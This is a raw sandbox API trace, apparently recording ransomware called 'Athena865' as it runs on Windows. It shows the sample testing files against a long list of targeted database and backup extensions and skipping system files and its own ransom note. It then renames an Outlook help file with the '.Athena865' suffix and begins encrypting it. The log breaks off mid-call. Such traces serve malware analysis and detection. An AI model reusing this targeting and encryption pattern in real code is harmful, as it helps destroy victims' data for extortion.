[0144.895] lstrlenW (lpString="dxl") returned 3 [0144.895] lstrcmpiW (lpString1="HXC", lpString2="dxl") returned 1 [0144.895] lstrlenW (lpString="eco") returned 3 [0144.895] lstrcmpiW (lpString1="HXC", lpString2="eco") returned 1 [0144.895] lstrlenW (lpString="ecx") returned 3 [0144.895] lstrcmpiW (lpString1="HXC", lpString2="ecx") returned 1 [0144.895] lstrlenW (lpString="edb") returned 3 [0144.895] lstrcmpiW (lpString1="HXC", lpString2="edb") returned 1 [0144.895] lstrlenW (lpString="epim") returned 4 [0144.895] lstrcmpiW (lpString1=".HXC", lpString2="epim") returned -1 [0144.895] lstrlenW (lpString="fcd") returned 3 [0144.895] lstrcmpiW (lpString1="HXC", lpString2="fcd") returned 1 [0144.895] lstrlenW (lpString="fdb") returned 3 [0144.895] lstrcmpiW (lpString1="HXC", lpString2="fdb") returned 1 [0144.896] lstrlenW (lpString="fic") returned 3 [0144.896] lstrcmpiW (lpString1="HXC", lpString2="fic") returned 1 [0144.896] lstrlenW (lpString="flexolibrary") returned 12 [0144.896] lstrcmpiW (lpString1="LOOK_COL.HXC", lpString2="flexolibrary") returned 1 [0144.896] lstrlenW (lpString="fm5") returned 3 [0144.896] lstrcmpiW (lpString1="HXC", lpString2="fm5") returned 1 [0144.896] lstrlenW (lpString="fmp") returned 3 [0144.896] lstrcmpiW (lpString1="HXC", lpString2="fmp") returned 1 [0144.896] lstrlenW (lpString="fmp12") returned 5 [0144.896] lstrcmpiW (lpString1="L.HXC", lpString2="fmp12") returned 1 [0144.896] lstrlenW (lpString="fmpsl") returned 5 [0144.896] lstrcmpiW (lpString1="L.HXC", lpString2="fmpsl") returned 1 [0144.896] lstrlenW (lpString="fol") returned 3 [0144.896] lstrcmpiW (lpString1="HXC", lpString2="fol") returned 1 [0144.896] lstrlenW (lpString="fp3") returned 3 [0144.896] lstrcmpiW (lpString1="HXC", lpString2="fp3") returned 1 [0144.896] lstrlenW (lpString="fp4") returned 3 [0144.896] lstrcmpiW (lpString1="HXC", lpString2="fp4") returned 1 [0144.896] lstrlenW (lpString="fp5") returned 3 [0144.896] lstrcmpiW (lpString1="HXC", lpString2="fp5") returned 1 [0144.896] lstrlenW (lpString="fp7") returned 3 [0144.896] lstrcmpiW (lpString1="HXC", lpString2="fp7") returned 1 [0144.896] lstrlenW (lpString="fpt") returned 3 [0144.896] lstrcmpiW (lpString1="HXC", lpString2="fpt") returned 1 [0144.896] lstrlenW (lpString="frm") returned 3 [0144.896] lstrcmpiW (lpString1="HXC", lpString2="frm") returned 1 [0144.896] lstrlenW (lpString="gdb") returned 3 [0144.896] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0144.896] lstrlenW (lpString="gdb") returned 3 [0144.897] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0144.897] lstrlenW (lpString="grdb") returned 4 [0144.897] lstrcmpiW (lpString1=".HXC", lpString2="grdb") returned -1 [0144.897] lstrlenW (lpString="gwi") returned 3 [0144.897] lstrcmpiW (lpString1="HXC", lpString2="gwi") returned 1 [0144.897] lstrlenW (lpString="hdb") returned 3 [0144.897] lstrcmpiW (lpString1="HXC", lpString2="hdb") returned 1 [0144.897] lstrlenW (lpString="his") returned 3 [0144.897] lstrcmpiW (lpString1="HXC", lpString2="his") returned 1 [0144.897] lstrlenW (lpString="ib") returned 2 [0144.897] lstrcmpiW (lpString1="XC", lpString2="ib") returned 1 [0144.897] lstrlenW (lpString="idb") returned 3 [0144.897] lstrcmpiW (lpString1="HXC", lpString2="idb") returned -1 [0144.897] lstrlenW (lpString="ihx") returned 3 [0144.897] lstrcmpiW (lpString1="HXC", lpString2="ihx") returned -1 [0144.897] lstrlenW (lpString="itdb") returned 4 [0144.897] lstrcmpiW (lpString1=".HXC", lpString2="itdb") returned -1 [0144.897] lstrlenW (lpString="itw") returned 3 [0144.897] lstrcmpiW (lpString1="HXC", lpString2="itw") returned -1 [0144.897] lstrlenW (lpString="jet") returned 3 [0144.897] lstrcmpiW (lpString1="HXC", lpString2="jet") returned -1 [0144.897] lstrlenW (lpString="jtx") returned 3 [0144.897] lstrcmpiW (lpString1="HXC", lpString2="jtx") returned -1 [0144.897] lstrlenW (lpString="kdb") returned 3 [0144.897] lstrcmpiW (lpString1="HXC", lpString2="kdb") returned -1 [0144.897] lstrlenW (lpString="kexi") returned 4 [0144.897] lstrcmpiW (lpString1=".HXC", lpString2="kexi") returned -1 [0144.897] lstrlenW (lpString="kexic") returned 5 [0144.897] lstrcmpiW (lpString1="L.HXC", lpString2="kexic") returned 1 [0144.897] lstrlenW (lpString="kexis") returned 5 [0144.898] lstrcmpiW (lpString1="L.HXC", lpString2="kexis") returned 1 [0144.898] lstrlenW (lpString="lgc") returned 3 [0144.898] lstrcmpiW (lpString1="HXC", lpString2="lgc") returned -1 [0144.898] lstrlenW (lpString="lwx") returned 3 [0144.898] lstrcmpiW (lpString1="HXC", lpString2="lwx") returned -1 [0144.898] lstrlenW (lpString="maf") returned 3 [0144.898] lstrcmpiW (lpString1="HXC", lpString2="maf") returned -1 [0144.898] lstrlenW (lpString="maq") returned 3 [0144.898] lstrcmpiW (lpString1="HXC", lpString2="maq") returned -1 [0144.898] lstrlenW (lpString="mar") returned 3 [0144.898] lstrcmpiW (lpString1="HXC", lpString2="mar") returned -1 [0144.898] lstrlenW (lpString="marshal") returned 7 [0144.898] lstrcmpiW (lpString1="COL.HXC", lpString2="marshal") returned -1 [0144.898] lstrlenW (lpString="mas") returned 3 [0144.898] lstrcmpiW (lpString1="HXC", lpString2="mas") returned -1 [0144.898] lstrlenW (lpString="mav") returned 3 [0144.898] lstrcmpiW (lpString1="HXC", lpString2="mav") returned -1 [0144.898] lstrlenW (lpString="maw") returned 3 [0144.898] lstrcmpiW (lpString1="HXC", lpString2="maw") returned -1 [0144.898] lstrlenW (lpString="mdbhtml") returned 7 [0144.898] lstrcmpiW (lpString1="COL.HXC", lpString2="mdbhtml") returned -1 [0144.898] lstrlenW (lpString="mdn") returned 3 [0144.898] lstrcmpiW (lpString1="HXC", lpString2="mdn") returned -1 [0144.898] lstrlenW (lpString="mdt") returned 3 [0144.898] lstrcmpiW (lpString1="HXC", lpString2="mdt") returned -1 [0144.898] lstrlenW (lpString="mfd") returned 3 [0144.898] lstrcmpiW (lpString1="HXC", lpString2="mfd") returned -1 [0144.898] lstrlenW (lpString="mpd") returned 3 [0144.898] lstrcmpiW (lpString1="HXC", lpString2="mpd") returned -1 [0144.899] lstrlenW (lpString="mrg") returned 3 [0144.899] lstrcmpiW (lpString1="HXC", lpString2="mrg") returned -1 [0144.899] lstrlenW (lpString="mud") returned 3 [0144.899] lstrcmpiW (lpString1="HXC", lpString2="mud") returned -1 [0144.899] lstrlenW (lpString="mwb") returned 3 [0144.899] lstrcmpiW (lpString1="HXC", lpString2="mwb") returned -1 [0144.899] lstrlenW (lpString="myd") returned 3 [0144.899] lstrcmpiW (lpString1="HXC", lpString2="myd") returned -1 [0144.899] lstrlenW (lpString="ndf") returned 3 [0144.899] lstrcmpiW (lpString1="HXC", lpString2="ndf") returned -1 [0144.899] lstrlenW (lpString="nnt") returned 3 [0144.899] lstrcmpiW (lpString1="HXC", lpString2="nnt") returned -1 [0144.899] lstrlenW (lpString="nrmlib") returned 6 [0144.899] lstrcmpiW (lpString1="OL.HXC", lpString2="nrmlib") returned 1 [0144.899] lstrlenW (lpString="ns2") returned 3 [0144.899] lstrcmpiW (lpString1="HXC", lpString2="ns2") returned -1 [0144.899] lstrlenW (lpString="ns3") returned 3 [0144.899] lstrcmpiW (lpString1="HXC", lpString2="ns3") returned -1 [0144.899] lstrlenW (lpString="ns4") returned 3 [0144.899] lstrcmpiW (lpString1="HXC", lpString2="ns4") returned -1 [0144.899] lstrlenW (lpString="nsf") returned 3 [0144.899] lstrcmpiW (lpString1="HXC", lpString2="nsf") returned -1 [0144.899] lstrlenW (lpString="nv") returned 2 [0144.899] lstrcmpiW (lpString1="XC", lpString2="nv") returned 1 [0144.899] lstrlenW (lpString="nv2") returned 3 [0144.899] lstrcmpiW (lpString1="HXC", lpString2="nv2") returned -1 [0144.899] lstrlenW (lpString="nwdb") returned 4 [0144.899] lstrcmpiW (lpString1=".HXC", lpString2="nwdb") returned -1 [0144.899] lstrlenW (lpString="nyf") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="nyf") returned -1 [0144.900] lstrlenW (lpString="odb") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0144.900] lstrlenW (lpString="odb") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0144.900] lstrlenW (lpString="oqy") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="oqy") returned -1 [0144.900] lstrlenW (lpString="ora") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="ora") returned -1 [0144.900] lstrlenW (lpString="orx") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="orx") returned -1 [0144.900] lstrlenW (lpString="owc") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="owc") returned -1 [0144.900] lstrlenW (lpString="p96") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="p96") returned -1 [0144.900] lstrlenW (lpString="p97") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="p97") returned -1 [0144.900] lstrlenW (lpString="pan") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="pan") returned -1 [0144.900] lstrlenW (lpString="pdb") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="pdb") returned -1 [0144.900] lstrlenW (lpString="pdm") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="pdm") returned -1 [0144.900] lstrlenW (lpString="pnz") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="pnz") returned -1 [0144.900] lstrlenW (lpString="qry") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="qry") returned -1 [0144.900] lstrlenW (lpString="qvd") returned 3 [0144.900] lstrcmpiW (lpString1="HXC", lpString2="qvd") returned -1 [0144.900] lstrlenW (lpString="rbf") returned 3 [0144.901] lstrcmpiW (lpString1="HXC", lpString2="rbf") returned -1 [0144.901] lstrlenW (lpString="rctd") returned 4 [0144.901] lstrcmpiW (lpString1=".HXC", lpString2="rctd") returned -1 [0144.901] lstrlenW (lpString="rod") returned 3 [0144.901] lstrcmpiW (lpString1="HXC", lpString2="rod") returned -1 [0144.901] lstrlenW (lpString="rodx") returned 4 [0144.901] lstrcmpiW (lpString1=".HXC", lpString2="rodx") returned -1 [0144.901] lstrlenW (lpString="rpd") returned 3 [0144.901] lstrcmpiW (lpString1="HXC", lpString2="rpd") returned -1 [0144.901] lstrlenW (lpString="rsd") returned 3 [0144.901] lstrcmpiW (lpString1="HXC", lpString2="rsd") returned -1 [0144.901] lstrlenW (lpString="sas7bdat") returned 8 [0144.901] lstrcmpiW (lpString1="_COL.HXC", lpString2="sas7bdat") returned -1 [0144.901] lstrlenW (lpString="sbf") returned 3 [0144.901] lstrcmpiW (lpString1="HXC", lpString2="sbf") returned -1 [0144.901] lstrlenW (lpString="scx") returned 3 [0144.901] lstrcmpiW (lpString1="HXC", lpString2="scx") returned -1 [0144.901] lstrlenW (lpString="sdb") returned 3 [0144.901] lstrcmpiW (lpString1="HXC", lpString2="sdb") returned -1 [0144.901] lstrlenW (lpString="sdc") returned 3 [0144.901] lstrcmpiW (lpString1="HXC", lpString2="sdc") returned -1 [0144.901] lstrlenW (lpString="sdf") returned 3 [0144.901] lstrcmpiW (lpString1="HXC", lpString2="sdf") returned -1 [0144.901] lstrlenW (lpString="sis") returned 3 [0144.901] lstrcmpiW (lpString1="HXC", lpString2="sis") returned -1 [0144.901] lstrlenW (lpString="spq") returned 3 [0144.901] lstrcmpiW (lpString1="HXC", lpString2="spq") returned -1 [0144.901] lstrlenW (lpString="te") returned 2 [0144.901] lstrcmpiW (lpString1="XC", lpString2="te") returned 1 [0144.901] lstrlenW (lpString="teacher") returned 7 [0144.902] lstrcmpiW (lpString1="COL.HXC", lpString2="teacher") returned -1 [0144.902] lstrlenW (lpString="tmd") returned 3 [0144.902] lstrcmpiW (lpString1="HXC", lpString2="tmd") returned -1 [0144.902] lstrlenW (lpString="tps") returned 3 [0144.902] lstrcmpiW (lpString1="HXC", lpString2="tps") returned -1 [0144.902] lstrlenW (lpString="trc") returned 3 [0144.902] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0144.902] lstrlenW (lpString="trc") returned 3 [0144.902] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0144.902] lstrlenW (lpString="trm") returned 3 [0144.902] lstrcmpiW (lpString1="HXC", lpString2="trm") returned -1 [0144.902] lstrlenW (lpString="udb") returned 3 [0144.902] lstrcmpiW (lpString1="HXC", lpString2="udb") returned -1 [0144.902] lstrlenW (lpString="udl") returned 3 [0144.902] lstrcmpiW (lpString1="HXC", lpString2="udl") returned -1 [0144.902] lstrlenW (lpString="usr") returned 3 [0144.902] lstrcmpiW (lpString1="HXC", lpString2="usr") returned -1 [0144.902] lstrlenW (lpString="v12") returned 3 [0144.902] lstrcmpiW (lpString1="HXC", lpString2="v12") returned -1 [0144.902] lstrlenW (lpString="vis") returned 3 [0144.902] lstrcmpiW (lpString1="HXC", lpString2="vis") returned -1 [0144.902] lstrlenW (lpString="vpd") returned 3 [0144.902] lstrcmpiW (lpString1="HXC", lpString2="vpd") returned -1 [0144.902] lstrlenW (lpString="vvv") returned 3 [0144.902] lstrcmpiW (lpString1="HXC", lpString2="vvv") returned -1 [0144.902] lstrlenW (lpString="wdb") returned 3 [0144.902] lstrcmpiW (lpString1="HXC", lpString2="wdb") returned -1 [0144.902] lstrlenW (lpString="wmdb") returned 4 [0144.902] lstrcmpiW (lpString1=".HXC", lpString2="wmdb") returned -1 [0144.902] lstrlenW (lpString="wrk") returned 3 [0144.903] lstrcmpiW (lpString1="HXC", lpString2="wrk") returned -1 [0144.903] lstrlenW (lpString="xdb") returned 3 [0144.903] lstrcmpiW (lpString1="HXC", lpString2="xdb") returned -1 [0144.903] lstrlenW (lpString="xld") returned 3 [0144.903] lstrcmpiW (lpString1="HXC", lpString2="xld") returned -1 [0144.903] lstrlenW (lpString="xmlff") returned 5 [0144.903] lstrcmpiW (lpString1="L.HXC", lpString2="xmlff") returned -1 [0144.903] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.Athena865") returned 73 [0144.903] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.athena865"), dwFlags=0x1) returned 1 [0144.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.905] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=631) returned 1 [0144.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.905] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.906] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.906] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.906] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x17c [0144.908] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0144.909] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.909] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.909] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.910] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.910] CloseHandle (hObject=0x17c) returned 1 [0144.910] CloseHandle (hObject=0x154) returned 1 [0144.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.911] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXT", cAlternateFileName="OUTLOO~2.HXT")) returned 1 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2=".") returned 1 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2="..") returned 1 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2="windows") returned -1 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2="bootmgr") returned 1 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2="temp") returned -1 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2="pagefile.sys") returned -1 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2="boot") returned 1 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2="ids.txt") returned 1 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2="ntuser.dat") returned 1 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2="perflogs") returned -1 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2="MSBuild") returned 1 [0144.911] lstrlenW (lpString="OUTLOOK_COL.HXT") returned 15 [0144.911] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLOOK_COL.HXT" | out: lpString1="OUTLOOK_COL.HXT") returned="OUTLOOK_COL.HXT" [0144.911] lstrlenW (lpString="OUTLOOK_COL.HXT") returned 15 [0144.911] lstrlenW (lpString="Athena865") returned 9 [0144.911] lstrcmpiW (lpString1="K_COL.HXT", lpString2="Athena865") returned 1 [0144.911] lstrlenW (lpString=".dll") returned 4 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2=".dll") returned 1 [0144.911] lstrlenW (lpString=".lnk") returned 4 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2=".lnk") returned 1 [0144.911] lstrlenW (lpString=".ini") returned 4 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2=".ini") returned 1 [0144.911] lstrlenW (lpString=".sys") returned 4 [0144.911] lstrcmpiW (lpString1="OUTLOOK_COL.HXT", lpString2=".sys") returned 1 [0144.912] lstrlenW (lpString="OUTLOOK_COL.HXT") returned 15 [0144.912] lstrlenW (lpString="bak") returned 3 [0144.912] lstrcmpiW (lpString1="HXT", lpString2="bak") returned 1 [0144.912] lstrlenW (lpString="ba_") returned 3 [0144.912] lstrcmpiW (lpString1="HXT", lpString2="ba_") returned 1 [0144.912] lstrlenW (lpString="dbb") returned 3 [0144.912] lstrcmpiW (lpString1="HXT", lpString2="dbb") returned 1 [0144.912] lstrlenW (lpString="vmdk") returned 4 [0144.912] lstrcmpiW (lpString1=".HXT", lpString2="vmdk") returned -1 [0144.912] lstrlenW (lpString="rar") returned 3 [0144.912] lstrcmpiW (lpString1="HXT", lpString2="rar") returned -1 [0144.912] lstrlenW (lpString="zip") returned 3 [0144.912] lstrcmpiW (lpString1="HXT", lpString2="zip") returned -1 [0144.912] lstrlenW (lpString="tgz") returned 3 [0144.912] lstrcmpiW (lpString1="HXT", lpString2="tgz") returned -1 [0144.912] lstrlenW (lpString="vbox") returned 4 [0144.912] lstrcmpiW (lpString1=".HXT", lpString2="vbox") returned -1 [0144.912] lstrlenW (lpString="vdi") returned 3 [0144.912] lstrcmpiW (lpString1="HXT", lpString2="vdi") returned -1 [0144.912] lstrlenW (lpString="vhd") returned 3 [0144.912] lstrcmpiW (lpString1="HXT", lpString2="vhd") returned -1 [0144.912] lstrlenW (lpString="vhdx") returned 4 [0144.912] lstrcmpiW (lpString1=".HXT", lpString2="vhdx") returned -1 [0144.912] lstrlenW (lpString="avhd") returned 4 [0144.912] lstrcmpiW (lpString1=".HXT", lpString2="avhd") returned -1 [0144.912] lstrlenW (lpString="db") returned 2 [0144.912] lstrcmpiW (lpString1="XT", lpString2="db") returned 1 [0144.912] lstrlenW (lpString="db2") returned 3 [0144.912] lstrcmpiW (lpString1="HXT", lpString2="db2") returned 1 [0144.913] lstrlenW (lpString="db3") returned 3 [0144.913] lstrcmpiW (lpString1="HXT", lpString2="db3") returned 1 [0144.913] lstrlenW (lpString="dbf") returned 3 [0144.913] lstrcmpiW (lpString1="HXT", lpString2="dbf") returned 1 [0144.913] lstrlenW (lpString="mdf") returned 3 [0144.913] lstrcmpiW (lpString1="HXT", lpString2="mdf") returned -1 [0144.913] lstrlenW (lpString="mdb") returned 3 [0144.913] lstrcmpiW (lpString1="HXT", lpString2="mdb") returned -1 [0144.913] lstrlenW (lpString="sql") returned 3 [0144.913] lstrcmpiW (lpString1="HXT", lpString2="sql") returned -1 [0144.913] lstrlenW (lpString="sqlite") returned 6 [0144.913] lstrcmpiW (lpString1="OL.HXT", lpString2="sqlite") returned -1 [0144.913] lstrlenW (lpString="sqlite3") returned 7 [0144.913] lstrcmpiW (lpString1="COL.HXT", lpString2="sqlite3") returned -1 [0144.913] lstrlenW (lpString="sqlitedb") returned 8 [0144.913] lstrcmpiW (lpString1="_COL.HXT", lpString2="sqlitedb") returned -1 [0144.913] lstrlenW (lpString="xml") returned 3 [0144.913] lstrcmpiW (lpString1="HXT", lpString2="xml") returned -1 [0144.913] lstrlenW (lpString="$er") returned 3 [0144.913] lstrcmpiW (lpString1="HXT", lpString2="$er") returned 1 [0144.913] lstrlenW (lpString="4dd") returned 3 [0144.913] lstrcmpiW (lpString1="HXT", lpString2="4dd") returned 1 [0144.913] lstrlenW (lpString="4dl") returned 3 [0144.913] lstrcmpiW (lpString1="HXT", lpString2="4dl") returned 1 [0144.913] lstrlenW (lpString="^^^") returned 3 [0144.913] lstrcmpiW (lpString1="HXT", lpString2="^^^") returned 1 [0144.913] lstrlenW (lpString="abs") returned 3 [0144.913] lstrcmpiW (lpString1="HXT", lpString2="abs") returned 1 [0144.913] lstrlenW (lpString="abx") returned 3 [0144.913] lstrcmpiW (lpString1="HXT", lpString2="abx") returned 1 [0144.914] lstrlenW (lpString="accdb") returned 5 [0144.914] lstrcmpiW (lpString1="L.HXT", lpString2="accdb") returned 1 [0144.914] lstrlenW (lpString="accdc") returned 5 [0144.914] lstrcmpiW (lpString1="L.HXT", lpString2="accdc") returned 1 [0144.914] lstrlenW (lpString="accde") returned 5 [0144.914] lstrcmpiW (lpString1="L.HXT", lpString2="accde") returned 1 [0144.914] lstrlenW (lpString="accdr") returned 5 [0144.914] lstrcmpiW (lpString1="L.HXT", lpString2="accdr") returned 1 [0144.914] lstrlenW (lpString="accdt") returned 5 [0144.914] lstrcmpiW (lpString1="L.HXT", lpString2="accdt") returned 1 [0144.914] lstrlenW (lpString="accdw") returned 5 [0144.914] lstrcmpiW (lpString1="L.HXT", lpString2="accdw") returned 1 [0144.914] lstrlenW (lpString="accft") returned 5 [0144.914] lstrcmpiW (lpString1="L.HXT", lpString2="accft") returned 1 [0144.914] lstrlenW (lpString="adb") returned 3 [0144.914] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0144.914] lstrlenW (lpString="adb") returned 3 [0144.914] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0144.914] lstrlenW (lpString="ade") returned 3 [0144.914] lstrcmpiW (lpString1="HXT", lpString2="ade") returned 1 [0144.914] lstrlenW (lpString="adf") returned 3 [0144.914] lstrcmpiW (lpString1="HXT", lpString2="adf") returned 1 [0144.914] lstrlenW (lpString="adn") returned 3 [0144.914] lstrcmpiW (lpString1="HXT", lpString2="adn") returned 1 [0144.914] lstrlenW (lpString="adp") returned 3 [0144.914] lstrcmpiW (lpString1="HXT", lpString2="adp") returned 1 [0144.914] lstrlenW (lpString="alf") returned 3 [0144.914] lstrcmpiW (lpString1="HXT", lpString2="alf") returned 1 [0144.914] lstrlenW (lpString="ask") returned 3 [0144.915] lstrcmpiW (lpString1="HXT", lpString2="ask") returned 1 [0144.915] lstrlenW (lpString="btr") returned 3 [0144.915] lstrcmpiW (lpString1="HXT", lpString2="btr") returned 1 [0144.915] lstrlenW (lpString="cat") returned 3 [0144.915] lstrcmpiW (lpString1="HXT", lpString2="cat") returned 1 [0144.915] lstrlenW (lpString="cdb") returned 3 [0144.915] lstrcmpiW (lpString1="HXT", lpString2="cdb") returned 1 [0144.915] lstrlenW (lpString="ckp") returned 3 [0144.915] lstrcmpiW (lpString1="HXT", lpString2="ckp") returned 1 [0144.915] lstrlenW (lpString="cma") returned 3 [0144.915] lstrcmpiW (lpString1="HXT", lpString2="cma") returned 1 [0144.915] lstrlenW (lpString="cpd") returned 3 [0144.915] lstrcmpiW (lpString1="HXT", lpString2="cpd") returned 1 [0144.915] lstrlenW (lpString="dacpac") returned 6 [0144.915] lstrcmpiW (lpString1="OL.HXT", lpString2="dacpac") returned 1 [0144.915] lstrlenW (lpString="dad") returned 3 [0144.915] lstrcmpiW (lpString1="HXT", lpString2="dad") returned 1 [0144.915] lstrlenW (lpString="dadiagrams") returned 10 [0144.915] lstrcmpiW (lpString1="OK_COL.HXT", lpString2="dadiagrams") returned 1 [0144.915] lstrlenW (lpString="daschema") returned 8 [0144.915] lstrcmpiW (lpString1="_COL.HXT", lpString2="daschema") returned -1 [0144.915] lstrlenW (lpString="db-journal") returned 10 [0144.915] lstrcmpiW (lpString1="OK_COL.HXT", lpString2="db-journal") returned 1 [0144.915] lstrlenW (lpString="db-shm") returned 6 [0144.915] lstrcmpiW (lpString1="OL.HXT", lpString2="db-shm") returned 1 [0144.915] lstrlenW (lpString="db-wal") returned 6 [0144.915] lstrcmpiW (lpString1="OL.HXT", lpString2="db-wal") returned 1 [0144.915] lstrlenW (lpString="dbc") returned 3 [0144.915] lstrcmpiW (lpString1="HXT", lpString2="dbc") returned 1 [0144.915] lstrlenW (lpString="dbs") returned 3 [0144.916] lstrcmpiW (lpString1="HXT", lpString2="dbs") returned 1 [0144.916] lstrlenW (lpString="dbt") returned 3 [0144.916] lstrcmpiW 